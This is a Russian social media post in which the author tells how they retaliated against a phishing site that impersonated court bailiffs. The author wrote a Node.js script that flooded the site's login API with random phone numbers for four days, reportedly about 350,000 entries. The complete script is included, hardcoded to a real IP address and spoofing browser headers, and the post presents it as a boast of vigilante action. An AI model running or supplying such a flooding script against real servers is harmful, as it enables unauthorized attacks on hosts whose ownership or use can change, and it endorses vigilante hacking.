А что Ты 🫵 сделал против мошенников?

Коллеге тут мошенники наведались звонить в Максе. Та перешла по url из vk.cc, ввела код который там на странице указан и понеслось. Успокоил, мошенников послал.

А что Ты 🫵 сделал против мошенников?

Думаю: надо ж развлечься. открыл тот url, а там страница-закос под сайт судебных приставов. Типа "введите код 12345 в это поле". Его вводишь и тебе "оператор-мошенник" звонит "вы зачем ввели код?! - надо срочно бла бла бла".

Открываю первую песочницу nodejs из поиска. Пишу скрипт с отправкой рандомного номера туда. В комплекте разные куки и прочие заголовки. Ставлю таймер "жми кнопку каждую секунду". Ответ {answer: true} *

4 дня скрипт работал )))))

Только сегодня на обеде сайт прикрыли.

Сижу думаю: на сколько им БД засрать успел🙃Тамошнее недоразумение, наверное по-началу обрадовалось что "клиент" попёр, пока не дошло в чём дело.

* в сумме вышло около 350 000 записей.

const https = require('https'); const randomPhone = () => '79' + Array.from({ length: 9 }, () => Math.floor(Math.random() * 10)).join(''); const phone = randomPhone(); const data = JSON.stringify({ phone }); const options = { hostname: '45.12.62.164', port: 443, path: '/api/login-ok', method: 'POST', headers: { 'accept': '*/*', 'accept-encoding': 'gzip, deflate, br, zstd', 'accept-language': 'ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7', 'content-length': Buffer.byteLength(data), 'content-type': 'application/json', 'origin': 'https://45.12.62.164', 'priority': 'u=1, i', 'referer': `https://45.12.62.164/${phone}`, 'sec-ch-ua': '"Not;A=Brand";v="8", "Chromium";v="150", "YaBrowser";v="26.8", "Yowser";v="2.5"', 'sec-ch-ua-mobile': '?0', 'sec-ch-ua-platform': '"Windows"', 'sec-fetch-dest': 'empty', 'sec-fetch-mode': 'cors', 'sec-fetch-site': 'same-origin', 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 YaBrowser/26.8.0.0 Safari/537.36', }, rejectUnauthorized: false, }; const req = https.request(options, (res) => { let body = ''; res.on('data', (chunk) => (body += chunk)); res.on('end', () => { console.log('Телефон:', phone); console.log('Статус:', res.statusCode); console.log('Заголовки ответа:', res.headers); console.log('Ответ:', body); }); }); req.on('error', (e) => console.error('Ошибка:', e.message)); req.write(data); req.end();
3366
66
22
11
11